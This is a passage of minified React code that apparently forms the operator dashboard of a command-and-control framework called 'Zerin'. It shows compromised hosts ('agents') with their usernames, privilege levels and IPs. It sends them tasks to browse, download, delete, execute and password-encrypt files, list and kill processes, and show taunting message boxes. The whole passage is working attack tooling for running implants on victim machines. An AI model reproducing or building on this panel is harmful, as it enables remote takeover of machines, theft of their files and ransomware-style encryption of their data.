placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),s.jsx("textarea",{value:O,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>z(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{O.trim()&&Ee(N.agentId,{command:"troll_msgbox",args:[O,_||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),z(null)},disabled:!O.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r transition-colors`,children:"Send"})]})]})})]})}function Yl({label:e,value:t,active:n,onClick:r}){return s.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[s.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function CU({column:e,sort:t}){return t.column!==e?s.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function PU({agent:e,onNavigate:t,onTagsChange:n}){return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(sd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&s.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[s.jsx(xn,{label:"Hostname",value:e.hostname}),s.jsx(xn,{label:"Username",value:e.username}),s.jsx(xn,{label:"OS",value:So(e.os)}),s.jsx(xn,{label:"Architecture",value:e.arch}),s.jsx(xn,{label:"PID",value:String(e.pid),mono:!0}),s.jsx(xn,{label:"Integrity",value:e.integrity}),s.jsx(xn,{label:"Internal IP",value:e.internal_ip,mono:!0}),s.jsx(xn,{label:"External IP",value:e.external_ip,mono:!0}),s.jsx(xn,{label:"Sleep / Jitter",value:gj(e.sleep_interval,e.jitter),mono:!0}),s.jsx(xn,{label:"Agent ID",value:Hs(e.id),mono:!0}),s.jsx(xn,{label:"First Seen",value:No(e.first_seen)}),s.jsx(xn,{label:"Last Seen",value:Vc(e.last_seen)})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),s.jsx(wU,{tags:e.tags??[],onChange:n})]}),s.jsx("div",{className:"border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function xn({label:e,value:t,mono:n=!1}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),s.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const EU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},AU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},_U={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function OU({lines:e,className:t=""}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0);return p.useEffect(()=>{var a;e.length>i.current&&((a=r.current)==null||a.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),s.jsxs("div",{className:` bg-zerin-bg border border-zerin-panel-border font-mono text-sm overflow-hidden flex flex-col ${t} `,children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),s.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),s.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&s.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[s.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((a,o)=>s.jsxs("div",{className:`${EU[a.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[a.timestamp&&s.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:a.timestamp}),s.jsx("span",{className:`${_U[a.type]} select-none`,children:AU[a.type]}),a.content]},o)),s.jsx("div",{ref:r})]})]})}function TU({agentId:e,agentStatus:t}){const[n,r]=p.useState("C:\\"),[i,a]=p.useState([]),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),[y,v]=p.useState(null),[b,w]=p.useState(""),[j,k]=p.useState(""),S=t==="dead",N=p.useRef(null),z=p.useRef(null),_=p.useRef(null);p.useEffect(()=>()=>{N.current&&clearInterval(N.current)},[]),p.useEffect(()=>{if(!m)return;const H=se=>{se.button!==2&&z.current&&!z.current.contains(se.target)&&h(null)},X=se=>{se.key==="Escape"&&h(null)};return document.addEventListener("mousedown",H),document.addEventListener("keydown",X),()=>{document.removeEventListener("mousedown",H),document.removeEventListener("keydown",X)}},[m]),p.useEffect(()=>{y&&setTimeout(()=>{var H;return(H=_.current)==null?void 0:H.focus()},50)},[y]);const A=p.useCallback(H=>new Promise((X,se)=>{let ue=0;const ge=30,xe=setInterval(async()=>{var Y;ue++;try{const C=(Y=(await Un(e)).results)==null?void 0:Y.find(K=>K.task_id===H);C?(clearInterval(xe),C.error?se(new Error(C.error)):X({output:C.output,data:C.data})):ue>=ge&&(clearInterval(xe),se(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),O=p.useCallback(async H=>{if(!S){l(!0),u(""),a([]),N.current&&(clearInterval(N.current),N.current=null);try{const{task_id:X}=await Ee(e,{command:"ls",args:[H]});r(H),f(!0);let se=0;const ue=30;N.current=setInterval(async()=>{var ge;se++;try{const Y=(ge=(await Un(e)).results)==null?void 0:ge.find(ee=>ee.task_id===X);if(Y){if(N.current&&clearInterval(N.current),N.current=null,l(!1),Y.error){u(Y.error);return}if(Y.output){const ee=Y.output.split(` `).slice(2),C=[];for(const K of ee){if(K.length<35)continue;const ne=K.substring(0,12).trim(),B=K.substring(13,33).trim();let ie=K.substring(34).trim();if(!ie||ie==="."||ie==="..")continue;const ve=ne==="";(ie.endsWith("/")||ie.endsWith("\\"))&&(ie=ie.slice(0,-1)),C.push({name:ie,isDir:ve,size:ve?void 0:ne,modified:B})}a(C)}}else se>=ue&&(N.current&&clearInterval(N.current),N.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(X){u(X instanceof Error?X.message:"Failed to send command"),l(!1)}}},[e,S]),P=H=>{if(H.name.includes("..")||H.name.includes("/")||H.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const X=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+X+H.name},I=H=>{k(H),setTimeout(()=>k(""),5e3)},U=async H=>{h(null),g("download"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"download",args:[X]}),ue=await A(se);if(ue.data){let ge;try{ge=atob(ue.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const xe=new Uint8Array(ge.length);for(let K=0;K{h(null),g("delete"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"delete",args:[X]});await A(se),I(`Deleted ${H.name}`),O(n)}catch(X){u(X instanceof Error?X.message:"Delete failed")}finally{g(null)}},M=async(H,X,se)=>{v(null),w(""),g(H),u(""),k("");try{const ue=P(X),{task_id:ge}=await Ee(e,{command:H,args:[ue,se]}),xe=await A(ge);I(xe.output||`${H==="encrypt"?"Encrypted":"Decrypted"} ${X.name}`),O(n)}catch(ue){u(ue instanceof Error?ue.message:`${H} failed`)}finally{g(null)}},F=async H=>{h(null),g("execute"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"execute",args:[X]}),ue=await A(se);I(ue.output||`Executed ${H.name}`)}catch(X){u(X instanceof Error?X.message:"Execute failed")}finally{g(null)}},R=(H,X)=>{H.preventDefault(),H.stopPropagation();const se=180,ue=220;let ge=H.clientX,xe=H.clientY;ge+se>window.innerWidth&&(ge=window.innerWidth-se-8),xe+ue>window.innerHeight&&(xe=window.innerHeight-ue-8),h({x:Math.max(4,ge),y:Math.max(4,xe),entry:X})},W=()=>{!y||!b.trim()||M(y.action,y.entry,b)},$=n.split(/[/\\]/).filter(Boolean);return s.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:H=>{H.preventDefault(),h(null)},children:[s.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[s.jsx("button",{onClick:()=>O("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:S,children:"root"}),$.map((H,X)=>s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:()=>{const se=$.slice(0,X+1).join("\\")+"\\";O(se)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:S,children:H})]},X))]}),s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:()=>O(n),disabled:S||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),S&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&s.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(H=>s.jsxs("button",{onClick:()=>{if(H.isDir){const X=n.endsWith("\\")||n.endsWith("/")?"":"\\";O(n+X+H.name)}},onContextMenu:X=>R(X,H),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r border-b border-zerin-panel-border last:border-b-0\r hover:bg-zerin-panel-hover transition-colors text-sm`,children:[s.jsx("span",{className:"text-zerin-text-muted",children:H.isDir?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),s.jsx("span",{className:H.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:H.name})]},H.name))]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),m&&s.jsxs("div",{ref:z,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:m.x,top:m.y},children:[s.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:s.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:m.entry.name})}),s.jsxs("button",{onClick:()=>U(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),s.jsxs("button",{onClick:()=>F(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),s.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>D(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&s.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:H=>H.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),s.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),s.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),s.jsx("input",{ref:_,type:"password",value:b,onChange:H=>w(H.target.value),onKeyDown:H=>{H.key==="Enter"&&W(),H.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r transition-all mb-4`}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:W,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r transition-colors capitalize`,children:y.action})]})]})})]})}function MU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState(null),[x,g]=p.useState(null),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:S}=await Ee(e,{command:"ps"});u(!0);let N=0;const z=30;v.current=setInterval(async()=>{var _;N++;try{const O=(_=(await Un(e)).results)==null?void 0:_.find(P=>P.task_id===S);if(O){if(v.current&&clearInterval(v.current),v.current=null,a(!1),O.error){l(O.error);return}if(O.output){const P=O.output.split(` `).filter(M=>M.trim()),I=[];for(const M of P){const F=M.trim().split(/\s+/);if(F.length>=2){const R=parseInt(F[0],10);if(!isNaN(R)){const W=F.length>=3?parseInt(F[1],10):0,$=!isNaN(W)&&F.length>=3,H=$?F.length>=4&&F.slice(3).join(" ")||F[2]:F.slice(1).join(" "),X=$&&F.length>=4?F[2]:void 0;I.push({pid:R,ppid:$?W:0,name:H,user:X,children:[]})}}}const U=new Map;I.forEach(M=>U.set(M.pid,M));const D=[];for(const M of I){const F=U.get(M.ppid);F&&F!==M?F.children.push(M):D.push(M)}r(D.length>0?D:I.map(M=>({...M,children:[]})))}}else N>=z&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(S){l(S instanceof Error?S.message:"Failed to send command"),a(!1)}}},[e,y]),w=(S,N)=>{if(!N)return S;const z=N.toLowerCase();return S.filter(_=>{const A=_.name.toLowerCase().includes(z)||String(_.pid).includes(z),O=w(_.children,N).length>0;return A||O})},j=p.useCallback(async S=>{h(S),g(null);try{await Ee(e,{command:"kill",args:[String(S)]}),setTimeout(b,2e3)}catch(N){l(N instanceof Error?N.message:"Failed to kill process")}finally{h(null)}},[e,b]),k=w(n,d);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:S=>f(S.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),s.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:k.map(S=>s.jsx(HS,{process:S,depth:0,confirmKillPid:x,killingPid:m,onKillClick:N=>g(N),onKillConfirm:j,onKillCancel:()=>g(null)},S.pid))})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function HS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o}){const[l,c]=p.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r border-b border-zerin-panel-border last:border-b-0\r hover:bg-zerin-panel-hover transition-colors text-xs`,children:[s.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),s.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&s.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),s.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),s.jsx("span",{children:f?s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>a(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?s.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(m=>s.jsx(HS,{process:m,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o},m.pid))]})}function LU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const 